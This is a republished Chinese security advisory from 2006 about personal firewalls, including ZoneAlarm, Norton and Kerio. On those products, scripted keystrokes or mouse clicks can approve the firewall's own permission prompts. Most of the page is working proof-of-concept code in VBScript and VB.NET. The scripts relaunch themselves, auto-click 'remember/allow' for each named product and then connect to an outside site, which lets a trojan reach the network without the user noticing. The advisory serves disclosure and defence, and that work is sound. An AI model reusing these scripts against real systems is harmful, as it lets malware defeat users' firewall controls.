分享
 
 
 

多个防火墙产品设置绕过漏洞

王朝other·作者佚名  2006-01-09
窄屏简体版  字體: |||超大  

受影响系统:

Zone Labs ZoneAlarm Pro 4.5.538.001

Zone Labs ZoneAlarm Pro 4.5

Symantec Norton Personal Firewall 2004

Symantec Norton Personal Firewall 2003

Symantec Norton Personal Firewall 2002

Kerio Personal Firewall 4.1.2

Kerio Personal Firewall 4.1.1

Kerio Personal Firewall 4.1.0描述:

多数个人防火墙允许快捷方式或者接口控制通信。

多数个人防火墙访问实现控制存在问题,远程攻击者可以利用这个漏洞可以通过控制鼠标或者发送快捷方式来绕过防火墙控制,完全访问系统。

攻击者可以设置一个VBScript脚本,此脚本执行一个多线程的自身的实例并当第一个实例连接到Internet时发送快捷方式给防火墙,可导致控制防火墙行为,绕过控制。

另外也可以通过鼠标控件来绕过,程序没有使用一个实际的多先程,因为部分防火墙会直接打断程序执行,因此程序使用一个参数执行另一个自身的实例来实现,绕过防火墙控制。

利用这个问题,可导致木马等恶意程序进行SERVER监听或者直接访问防火墙而不被防火墙提示。

<*来源:Ferruh Mavituna (ferruh@mavituna.com

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110478641332370&w=2

*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Ferruh Mavituna (ferruh@mavituna.com)提供了如下测试方法:

'***********************************************************

'// By Ferruh Mavituna

'// ferruh{@}mavituna.com, http://ferruh.mavituna.com

'***********************************************************

'// Date : 4/25/2004

'// Simple POC for Skipping Zone Alarm Firewall with sendKeys and multithreading

'// Related Advisory : NOT PUBLISHED YET

'***********************************************************

'Modified for Agnitium Outpost Firewall 2.1.303.4009 (314)

'Tested : Agnitium Outpost Firewall 2.5.369.4608 (369)

'5/5/2004

'02.01.2005

'Ferruh Mavituna

'Const DELAY = 1000

'Const TIMES = 1

'Const EXTRADELAY = 0

'***********************************************************

Option Explicit

Dim argLen, shell, sendKeyMod, i, appName

Const DELAY = 1000

Const TIMES = 1

Const EXTRADELAY = 0

appName = Wscript.ScriptName

'SendKey

sendkeyMod = False

argLen = WScript.Arguments.Length

If argLen>0 Then sendkeyMod = True

Set shell = WScript.CreateObject("WScript.Shell")

If sendKeyMod Then

'First Sleep for a while

If EXTRADELAY>0 Then WScript.Sleep EXTRADELAY

'Force

While i<TIMES

i=i+1

WScript.Sleep DELAY

'1) First add it trusted

shell.sendKeys "+{TAB}" 'Go back once

shell.sendKeys "{UP 2}" 'Go Up

'1) Press Enter

shell.sendKeys "{ENTER}" 'Enter

Wend

'Exit

'Wscript.Echo "Exit !"

Wscript.Quit 1

End If

'Wscript.Echo WScript.ScriptFullName

Call shell.Run(appName & " /send")

'Connect

Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission Accomplished..."

Set shell = Nothing

Wscript.Quit 1

Function connect(ByVal URL)

Dim web

Set web = CreateObject("Microsoft.XmlHttp")

web.open "HEAD", URL, FALSE

web.send ""

connect = web.getAllResponseHeaders

Set web = Nothing

End Function

["anti-hacker.txt" (text/plain)]

'***********************************************************

'// By Ferruh Mavituna

'// ferruh{@}mavituna.com, http://ferruh.mavituna.com

'***********************************************************

'// Date : 4/25/2004

'// Simple POC for Bypassing multiple firewall products

'// Related Advisory : NOT PUBLISHED YET

'***********************************************************

'HISTORY

'3/5/2004

'Added ZA

'5/5/2004

'Added Kerio, Outpost

'6/5/2004

'Added Kaspersky Anti-Hacker

'***********************************************************

Option Explicit

Dim arrKeys(5,5), arrDelays(5,2), arrRegistry(5,1),intFirewall

Const EXTRADELAY = 0

Const DETERMINEFIREWALL = FALSE 'Auto Determine current Firewall

'----------------------------------------------

'Define Delays and Times for Firewalls

'----------------------------------------------

'// Firewalls

'ZoneAlarm Pro, 4.5.530 (tested Windows 2003 & WinXP)

Const ZoneAlarm = 0

'Kerio 4.0.14

Const Kerio = 1

'Agnitium Outpost Firewall 2.1.303.4009 (314)

Const Outpost = 2

'Kaspersky Anti-Hacker 1.5.119.0

Const Kaspersky = 3

'Select Active Firewall

intFirewall = Kaspersky

'// Configuration

'Kaspersky Anti-Hacker

arrDelays(Kaspersky,0) = 1000

arrDelays(Kaspersky,1) = 1

'Define Keys for Firewalls

arrKeys(Kaspersky,0) = "{ENTER}"

If DETERMINEFIREWALL Then

'TODO:Read Registries and determine it !

End If

Dim argLen, shell, sendKeyMod, i, j, appName

appName = Wscript.ScriptName

'SendKey

sendkeyMod = False

argLen = WScript.Arguments.Length

If argLen>0 Then sendkeyMod = True

Set shell = WScript.CreateObject("WScript.Shell")

If sendKeyMod Then

'First Sleep for a while

If EXTRADELAY>0 Then WScript.Sleep EXTRADELAY

'Force

While i<arrDelays(intFirewall,1)

i=i+1

WScript.Sleep arrDelays(intFirewall,0)

'Send Keys

For j=0 To Ubound(arrKeys,2)

If arrKeys(intFirewall,j)<>"" Then

shell.sendKeys arrKeys(intFirewall,j)

End If

Next

Wend

'Exit

'Wscript.Echo "Exit !"

Wscript.Quit 1

End If

'Wscript.Echo WScript.ScriptFullName

Call shell.Run(appName & " /send")

'Connect

Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission Accomplished..."

Set shell = Nothing

Wscript.Quit 1

Function connect(ByVal URL)

Dim web

Set web = CreateObject("Microsoft.XmlHttp")

web.open "HEAD", URL, FALSE

web.send ""

connect = web.getAllResponseHeaders

Set web = Nothing

End Function

["ZoneAlarm.txt" (text/plain)]

'***********************************************************

'// By Ferruh Mavituna

'// ferruh{@}mavituna.com, http://ferruh.mavituna.com

'***********************************************************

'// Date : 4/25/2004

'// Simple POC for Skipping Zone Alarm Firewall with sendKeys and multithreading

'// Related Advisory : NOT PUBLISHED YET

'***********************************************************

Option Explicit

Dim argLen, shell, sendKeyMod, i

Const DELAY = 10

Const TIMES = 15

'SendKey

sendkeyMod = False

argLen = WScript.Arguments.Length

If argLen>0 Then sendkeyMod = True

Set shell = WScript.CreateObject("WScript.Shell")

If sendKeyMod Then

While i<TIMES

i=i+1

WScript.Sleep DELAY

shell.sendKeys "%R" 'Remember, Do not ask again !

shell.sendKeys "%Y" 'Click Yes

Wend

'Exit

'Wscript.Echo "Exit !"

Wscript.Quit 1

End If

'Wscript.Echo WScript.ScriptFullName

Call shell.Run("skipZA.vbs /send")

'Connect

Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission Accomplished..."

Set shell = Nothing

Wscript.Quit 1

Function connect(ByVal URL)

Dim web

Set web = CreateObject("Microsoft.XmlHttp")

web.open "HEAD", URL, FALSE

web.send ""

connect = web.getAllResponseHeaders

Set web = Nothing

End Function

["testFirewall.txt" (text/plain)]

'***********************************************************

'// By Ferruh Mavituna

'// ferruh{@}mavituna.com, http://ferruh.mavituna.com

'***********************************************************

'// Date : 4/25/2004

'// Simple POC for Skipping Zone Alarm Firewall with sendKeys and multithreading

'// Simple Firewall Test File

'// Related Advisory : NOT PUBLISHED YET

'***********************************************************

Option Explicit

Dim shell, sendKeyMod, Result

Const URL = "http://ferruh.mavituna.com"

'Connect

Wscript.Echo "Now I'll try to connect to " & URL

If connect(URL,Result) Then

Wscript.Echo "Mission Accomplished..., Here is the headers;" & vbNewline & Result

Else

Wscript.Echo "OK, I couldn't access to Internet"

End If

Set shell = Nothing

Wscript.Quit 1

Function connect(ByVal URL, ByRef Result)

connect = True

On Error Resume Next

ERR.Clear

Dim web

Set web = CreateObject("Microsoft.XmlHttp")

web.open "HEAD", URL, FALSE

web.send ""

Result = web.getAllResponseHeaders

Set web = Nothing

If ERR<>0 Then connect = False

End Function

["norton.txt" (text/plain)]

'***********************************************************

'// By Ferruh Mavituna

'// ferruh{@}mavituna.com, http://ferruh.mavituna.com

'***********************************************************

'// Date : 4/25/2004

'// Simple POC for Skipping Zone Alarm Firewall with sendKeys and multithreading

'// Related Advisory : NOT PUBLISHED YET

'***********************************************************

Option Explicit

Dim argLen, shell, sendKeyMod, i

Const DELAY = 10

Const TIMES = 15

'SendKey

sendkeyMod = False

argLen = WScript.Arguments.Length

If argLen>0 Then sendkeyMod = True

Set shell = WScript.CreateObject("WScript.Shell")

If sendKeyMod Then

While i<TIMES

i=i+1

WScript.Sleep DELAY

shell.sendKeys "%A" 'Remember, Do not ask again !

shell.sendKeys "%O" 'Click Yes

Wend

'Customized for norton fw by Oezguer Mavituna

'Exit

'Wscript.Echo "Exit !"

Wscript.Quit 1

End If

'Wscript.Echo WScript.ScriptFullName

Call shell.Run("skipZA.vbs /send")

'Connect

Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission Accomplished..."

Set shell = Nothing

Wscript.Quit 1

Function connect(ByVal URL)

Dim web

Set web = CreateObject("Microsoft.XmlHttp")

web.open "HEAD", URL, FALSE

web.send ""

connect = web.getAllResponseHeaders

Set web = Nothing

End Function

["mousecontrol.txt" (text/plain)]

'***********************************************************

'// By Ferruh Mavituna

'// ferruh{@}mavituna.com, http://ferruh.mavituna.com

'***********************************************************

'// Date : 5/19/2004

'// Simple POC for Bypassing multiple firewall products

'// Code : VB.NET

'***********************************************************

Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cbuttons As Long, ByVal dwExtraInfo As Long) Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Const MOUSEEVENTF_LEFTDOWN = &H2

Private Const MOUSEEVENTF_LEFTUP = &H4

Private Const MOUSEEVENTF_MIDDLEDOWN = &H20

Private Const MOUSEEVENTF_MIDDLEUP = &H40

Private Const MOUSEEVENTF_RIGHTDOWN = &H8

Private Const MOUSEEVENTF_RIGHTUP = &H10

Private Const sleepTime = 0.5 'As Second

Private Const slowMotion = True 'Debug !

'Firewalls

Const ZoneAlarm As Integer = 0

'Set Points

Dim arrFirewalls(1, 3) As Integer

Dim activeFirewall As Integer = ZoneAlarm

Private Sub setupFirewalls()

'Get Current Screen

'This is just POC, Real World Example should automaticly detect installed firewall, change sleep times, car about exact positoin, taskbar position etc. But It's easy to write a real world example Dim screenY As Integer = Screen.PrimaryScreen.Bounds.Height Dim screenX As Integer = Screen.PrimaryScreen.Bounds.Width

arrFirewalls(ZoneAlarm, 0) = screenX - 250 'X Remember !

arrFirewalls(ZoneAlarm, 1) = screenY - 130 'Y

arrFirewalls(ZoneAlarm, 2) = screenX - 190 ' Yes

arrFirewalls(ZoneAlarm, 3) = screenY - 93

End Sub

Private Sub frmFirewallTest_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

'Hide App

Me.ShowInTaskbar = False

Me.Visible = False

'Args

Dim flagArg As String = Application.ExecutablePath

If Environment.GetCommandLineArgs().Length > 1 Then

'Sleep;

Sleep(sleepTime * 1000)

'Try;

setupFirewalls()

If slowMotion Then Sleep(1000)

'First Access

bypassFirewall(arrFirewalls(activeFirewall, 0), arrFirewalls(activeFirewall, 1))

If slowMotion Then Sleep(1000)

bypassFirewall(arrFirewalls(activeFirewall, 2), arrFirewalls(activeFirewall, 3))

'Gain Access for HTTP

Sleep(300)

If slowMotion Then Sleep(1000)

bypassFirewall(arrFirewalls(activeFirewall, 0), arrFirewalls(activeFirewall, 1))

If slowMotion Then Sleep(1000)

bypassFirewall(arrFirewalls(activeFirewall, 2), arrFirewalls(activeFirewall, 3))

'Quit !

Me.Dispose()

Else

System.Diagnostics.Process.Start(flagArg, "skipme")

'Access Internet

If downloadURL() Then

MessageBox.Show("Successed !, Firewall ByPassed !", "Firewall ByPassed !", MessageBoxButtons.OK, MessageBoxIcon.Warning)

End If

Me.Dispose()

End If

End Sub

'Bypas POC

Private Sub bypassFirewall(ByVal X As Integer, ByVal Y As Integer)

'Save Old Positions for return !

Dim oldX As Integer = Cursor.Position.X

Dim oldY As Integer = Cursor.Position.Y

'Set New Position

Cursor.Position = New Point(X, Y)

'Click

mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0)

mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0)

'Return

Cursor.Position = New Point(oldX, oldY)

End Sub

'Connect Internet

Private Function downloadURL() As Boolean

downloadURL = True

Try

Dim wc As New System.Net.WebClient()

wc.DownloadFile("http://ferruh.mavituna.com", "C:\firewalltest.htm")

Catch

MessageBox.Show("Can not connected !", "Not Connected !", MessageBoxButtons.OK, MessageBoxIcon.Error) downloadURL = False

End Try

End Function

["bypassSendKey.txt" (text/plain)]

'***********************************************************

'// By Ferruh Mavituna

'// ferruh{@}mavituna.com, http://ferruh.mavituna.com

'***********************************************************

'// Date : 4/25/2004

'// Simple POC for Bypassing multiple firewall products

'***********************************************************

'HISTORY

'3/5/2004

'Added ZA

'5/5/2004

'Added Kerio, Outpost

'6/5/2004

'Added Kaspersky Anti-Hacker

'5/9/2004

'LooknStop

'5/20/2004

'Norton

'***********************************************************

Option Explicit

Dim arrKeys(5,5), arrDelays(5,2), arrRegistry(5,1),intFirewall

Const EXTRADELAY = 0

Const DETERMINEFIREWALL = FALSE 'Auto Determine current Firewall

'----------------------------------------------

'Define Delays and Times for Firewalls

'----------------------------------------------

'// Firewalls

'ZoneAlarm Pro, 4.5.530 (tested Windows 2003 & WinXP) | www.zonelabs.com

Const ZoneAlarm = 0

'Kerio 4.0.14

Const Kerio = 1

'Agnitium Outpost Firewall 2.1.303.4009 (314) | www.agnitium.com

Const Outpost = 2

'Kaspersky Anti-Hacker 1.5.119.0 | www.kaspersky.com

Const Kaspersky = 3

'Look 'n' Stop 2.04p2 | www.looknstop.com

Const LooknStop = 4

'Norton | www.norton.com

Const Norton = 5

'Select Active Firewall

intFirewall = ZoneAlarm

'// Configuration

'Define Keys, Delays, Repeat Times for Firewalls

'Kaspersky Anti-Hacker

arrDelays(Kaspersky,0) = 400

arrDelays(Kaspersky,1) = 2

arrKeys(Kaspersky,0) = "{ENTER}" 'Just say OK

'ZoneAlarm

arrDelays(ZoneAlarm,0) = 10

arrDelays(ZoneAlarm,1) = 15

arrKeys(ZoneAlarm,0) = "%R" 'Select Remember

arrKeys(ZoneAlarm,1) = "%Y" 'Yes

'Outpost

arrDelays(Outpost,0) = 1000

arrDelays(Outpost,1) = 1

arrKeys(Outpost,0) = "+{TAB}" 'Go back once

arrKeys(Outpost,1) = "{UP 2}" 'Go Up

arrKeys(Outpost,1) = "{ENTER}" 'Enter

'Kerio

arrDelays(Kerio,0) = 100

arrDelays(Kerio,1) = 10

arrKeys(Kerio,0) = " " ' Space - Remember, Do not ask again !

arrKeys(Kerio,1) = "%P" ' Yes

'LookNStop

arrDelays(LooknStop,0) = 1000

arrDelays(LooknStop,1) = 1

arrKeys(LooknStop,0) = "(%+{TAB})" ' Authorize

arrKeys(LooknStop,1) = "{LEFT}" ' Left

arrKeys(LooknStop, 2) = " " ' Space

'Norton

arrDelays(Norton,0) = 100

arrDelays(Norton,1) = 5

arrKeys(Norton,0) = "%A" ' Allow

arrKeys(Norton,1) = "%O" ' OK

If DETERMINEFIREWALL Then

'TODO:Read Registries and determine it !

End If

Dim argLen, shell, sendKeyMod, i, j, appName

appName = Wscript.ScriptName

'SendKey

sendkeyMod = False

argLen = WScript.Arguments.Length

If argLen>0 Then sendkeyMod = True

Set shell = WScript.CreateObject("WScript.Shell")

If sendKeyMod Then

'First Sleep for a while

If EXTRADELAY>0 Then WScript.Sleep EXTRADELAY

'Force

While i<arrDelays(intFirewall,1)

i=i+1

WScript.Sleep arrDelays(intFirewall,0)

'Send Keys

For j=0 To Ubound(arrKeys,2)

If arrKeys(intFirewall,j)<>"" Then

shell.sendKeys arrKeys(intFirewall,j)

End If

Next

Wend

'Exit

'Wscript.Echo "Exit !"

Wscript.Quit 1

End If

'Wscript.Echo WScript.ScriptFullName

Call shell.Run(appName & " /send")

'Connect

Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission Accomplished..."

Set shell = Nothing

Wscript.Quit 1

Function connect(ByVal URL)

Dim web

Set web = CreateObject("Microsoft.XmlHttp")

web.open "HEAD", URL, FALSE

web.send ""

connect = web.getAllResponseHeaders

Set web = Nothing

End Function

["Kerio.txt" (text/plain)]

'***********************************************************

'// By Ferruh Mavituna

'// ferruh{@}mavituna.com, http://ferruh.mavituna.com

'***********************************************************

'// Date : 4/25/2004

'// Simple POC for Skipping Zone Alarm Firewall with sendKeys and multithreading

'// Related Advisory : NOT PUBLISHED YET

'***********************************************************

'Modified for Kerio 4.0.14

'5/5/2004

'Ferruh Mavituna

'Const DELAY = 100

'Const TIMES = 10

'***********************************************************

Option Explicit

Dim argLen, shell, sendKeyMod, i, appName

Const DELAY = 100

Const TIMES = 10

appName = Wscript.ScriptName

'SendKey

sendkeyMod = False

argLen = WScript.Arguments.Length

If argLen>0 Then sendkeyMod = True

Set shell = WScript.CreateObject("WScript.Shell")

If sendKeyMod Then

While i<TIMES

i=i+1

WScript.Sleep DELAY

shell.sendKeys " " 'Remember, Do not ask again !

shell.sendKeys "%P" 'Click Yes

Wend

'Exit

'Wscript.Echo "Exit !"

Wscript.Quit 1

End If

'Wscript.Echo WScript.ScriptFullName

Call shell.Run(appName & " /send")

'Connect

Wscript.Echo connect("http://ferruh.mavituna.com") & "Mission Accomplished..."

Set shell = Nothing

Wscript.Quit 1

Function connect(ByVal URL)

Dim web

Set web = CreateObject("Microsoft.XmlHttp")

web.open "HEAD", URL, FALSE

web.send ""

connect = web.getAllResponseHeaders

Set web = Nothing

End Function

建议:

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 所有允许的行为必须询问密码。

厂商补丁:

Zone Labs

---------

ZoneLabs Team已经提供最新版本修正此漏洞:

http://www.zonelabs.com/

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有